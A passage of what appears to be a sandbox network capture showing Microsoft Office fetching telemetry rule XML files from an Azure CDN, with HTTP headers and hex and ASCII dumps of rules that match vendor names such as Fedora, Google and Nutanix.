version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.11	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:36 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054936Z-r1cf579d778lntp7hC1EWR9gg400000006yg00000000312m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.11	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:37 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:37 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: cfb0ab39-c01e-0014-7982-49a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054937Z-r1cf579d7788c742hC1EWRr97n00000001n0000000005yxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:49:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.11	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:37 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 32c7c32d-b01e-003e-2b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054937Z-r1cf579d778qlpkrhC1EWRpfc800000008700000000048v1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.11	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:37 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2968f52d-d01e-002b-1502-4825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054937Z-r1cf579d778x776bhC1EWRdk8000000007kg000000001q36 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.11	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:37 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054937Z-r1cf579d778qlpkrhC1EWRpfc8000000084g000000004qny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.11	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:38 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a7f5343d-701e-001e-5304-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054938Z-r1cf579d778w59f9hC1EWRze6w00000007s0000000003wub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.11	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:39 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: eb0f4028-701e-0021-6d9b-493d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054939Z-r1cf579d778j4j5fhC1EWR3ge8000000012g000000002xv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.11	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:39 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 6578e9b9-801e-00a3-294a-497cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054939Z-r1cf579d778t76vqhC1EWRdx4w00000001m0000000000mau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.11	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:39 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 704c87bc-501e-00a0-2501-489d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054940Z-r1cf579d778z4wflhC1EWRa3h000000007f0000000005rmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.11	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:39 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054940Z-r1cf579d778z4wflhC1EWRa3h000000007m0000000002vnv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.11	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:40 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90ee9adf-001e-0014-3106-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054940Z-r1cf579d7789trgthC1EWRkkfc0000000830000000006m5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.11	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:41 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1f654f05-501e-008f-5009-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054941Z-r1cf579d778t6txphC1EWRsd4400000007z0000000005552 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 